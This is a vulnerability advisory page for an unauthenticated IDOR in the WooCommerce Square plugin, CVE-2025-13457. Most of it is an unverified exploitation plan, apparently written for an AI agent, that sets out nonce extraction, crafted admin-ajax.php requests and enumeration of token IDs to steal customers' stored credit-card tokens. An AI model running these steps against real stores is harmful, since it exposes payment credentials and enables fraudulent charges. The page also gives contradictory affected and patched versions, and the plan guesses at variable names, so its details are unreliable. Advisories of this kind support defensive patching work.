CVE-2025-13457

WooCommerce Square <= 5.1.1 - Unauthenticated Insecure Direct Object Reference to Sensitive Information Exposure in get_token_by_id

highAuthorization Bypass Through User-Controlled Key
7.5
CVSS Score
7.5
CVSS Score
high
Severity
4.2.3
Patched in
1d
Time to patch

Description

The WooCommerce Square plugin for WordPress is vulnerable to Insecure Direct Object Reference in all versions up to, and including, 5.1.1 via the get_token_by_id function due to missing validation on a user controlled key. This makes it possible for unauthenticated attackers to expose arbitrary Square "ccof" (credit card on file) values and leverage this value to potentially make fraudulent charges on the target site.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
High
Confidentiality
None
Integrity
None
Availability

Technical Details

Affected versions>=4.2.0 <4.2.3
PublishedJanuary 9, 2026
Last updatedJanuary 10, 2026
Affected pluginwoocommerce-square

What Changed in the Fix

Changes introduced in v4.2.3

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

# Exploitation Research Plan - CVE-2025-13457 ## 1. Vulnerability Summary The WooCommerce Square plugin (versions <= 5.1.1) is vulnerable to an **Insecure Direct Object Reference (IDOR)** in the `get_token_by_id` function within the `WooCommerce\Square\Gateway` class. The function is exposed via bo…

Show full research plan

Exploitation Research Plan - CVE-2025-13457

1. Vulnerability Summary

The WooCommerce Square plugin (versions <= 5.1.1) is vulnerable to an Insecure Direct Object Reference (IDOR) in the get_token_by_id function within the WooCommerce\Square\Gateway class. The function is exposed via both authenticated and unauthenticated WordPress AJAX actions. While it performs a nonce check, it fails to verify if the requesting user has the authority to access the payment token associated with the provided token_id. This allows an unauthenticated attacker to retrieve sensitive Square "ccof" (credit card on file) tokens for any user by enumerating token IDs.

2. Attack Vector Analysis

  • Endpoint: /wp-admin/admin-ajax.php
  • AJAX Action: wc_square_get_token_by_id (Registered as wp_ajax_nopriv_wc_square_get_token_by_id in includes/Gateway.php)
  • HTTP Method: GET
  • Vulnerable Parameter: token_id
  • Authentication: None required (unauthenticated).
  • Preconditions:
    1. WooCommerce and WooCommerce Square must be active.
    2. At least one valid Square payment token must exist in the database (stored in wp_woocommerce_payment_tokens).
    3. A valid WordPress nonce for the action payment_token_nonce must be obtained.

3. Code Flow

  1. Entry Point: An AJAX request is sent to admin-ajax.php with action=wc_square_get_token_by_id.
  2. Hook Registration: In includes/Gateway.php, the __construct method registers:
    add_action( 'wp_ajax_wc_' . $this->get_id() . '_get_token_by_id', array( $this, 'get_token_by_id' ) );
    add_action( 'wp_ajax_nopriv_wc_' . $this->get_id() . '_get_token_by_id', array( $this, 'get_token_by_id' ) );
    
    (Note: $this->get_id() returns square).
  3. Vulnerable Function: get_token_by_id() is called.
  4. Nonce Verification: It retrieves the nonce from $_GET['nonce'] and verifies it against 'payment_token_nonce':
    if ( ! wp_verify_nonce( $nonce, 'payment_token_nonce' ) ) {
        wp_send_json_error( ... );
    }
    
  5. Insecure IDOR: It retrieves token_id via $_GET['token_id'] and calls \WC_Payment_Tokens::get( $token_id ).
    $token_id = isset( $_GET['token_id'] ) ? absint( wp_unslash( $_GET['token_id'] ) ) : false;
    $token_obj = \WC_Payment_Tokens::get( $token_id );
    
  6. Information Exposure: Without checking the user_id associated with the $token_obj, it returns the actual Square token string:
    wp_send_json_success( $token_obj->get_token() );
    

4. Nonce Acquisition Strategy

The payment_token_nonce is typically localized for the frontend to facilitate AJAX calls for managing saved cards. In WooCommerce Square, this is often localized for the checkout page or the "My Account" payment methods section.

Strategy:

  1. Identify Localization: Search for payment_token_nonce in the plugin's frontend scripts. It is likely localized via wp_localize_script under a variable like wc_square_params or wc_square_payment_form_params.
  2. Create Trigger Page: If not visible on the homepage, the checkout page is the most reliable source for unauthenticated users.
  3. Execution:
    • Navigate to the Checkout page (/checkout/).
    • Use browser_eval to extract the nonce:
      // Hypothetical variable name based on plugin patterns
      window.wc_square_params?.payment_token_nonce || window.wc_square_payment_form_params?.payment_token_nonce
      
    • If the scripts only load when the Square gateway is selected, the agent should interact with the payment method radio buttons first.

5. Exploitation Strategy

  1. Preparation: Identify a target token_id. Since these are autoincrement integers, the agent can start from 1 or use a likely range.
  2. HTTP Request:
    • Tool: http_request
    • URL: http://TARGET/wp-admin/admin-ajax.php?action=wc_square_get_token_by_id&nonce=[NONCE]&token_id=[ID]
    • Method: GET
  3. Payload:
    • action: wc_square_get_token_by_id
    • nonce: The extracted payment_token_nonce.
    • token_id: The ID of the token to steal.
  4. Success Condition: A JSON response with success: true containing a string starting with ccof: (Square Credit Card On File format).

6. Test Data Setup

To verify the IDOR, we need a token belonging to a different user (e.g., an Admin or a dummy Customer).

  1. Create Customer: wp user create victim victim@example.com --role=customer
  2. Create Payment Token: Use WP-CLI to manually insert a Square token for the victim:
    wp eval '
    $token = new WC_Payment_Token_CC();
    $token->set_token("ccof:target_secret_token_123");
    $token->set_gateway_id("square");
    $token->set_card_type("visa");
    $token->set_last4("1234");
    $token->set_expiry_month("12");
    $token->set_expiry_year("2030");
    $token->set_user_id([VICTIM_ID]);
    $token->save();
    echo "TOKEN_ID:" . $token->get_id();
    '
    
  3. Enable Gateway: Ensure Square is enabled in WooCommerce settings.

7. Expected Results

  • Request: GET /wp-admin/admin-ajax.php?action=wc_square_get_token_by_id&nonce=a1b2c3d4e5&token_id=[VICTIM_TOKEN_ID]
  • Response:
    {
        "success": true,
        "data": "ccof:target_secret_token_123"
    }
    
  • The unauthenticated requester successfully receives the private "ccof" token belonging to the victim.

8. Verification Steps

  1. Check the database via WP-CLI to confirm the token value matches the exposed data:
    wp db query "SELECT token FROM wp_woocommerce_payment_tokens WHERE id = [VICTIM_TOKEN_ID]"
    
  2. Verify the response from the AJAX call matches the token field from the database query.

9. Alternative Approaches

  • Brute Force/Enumeration: If the specific token_id is unknown, loop through IDs 1-100 via a sequence of http_request calls.
  • Check Other Pages: If the checkout page requires items in the cart to load the Square scripts, use the http_request tool to add a product to the cart first:
    • POST /?add-to-cart=[PRODUCT_ID]
    • Then visit /checkout/ to extract the nonce.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.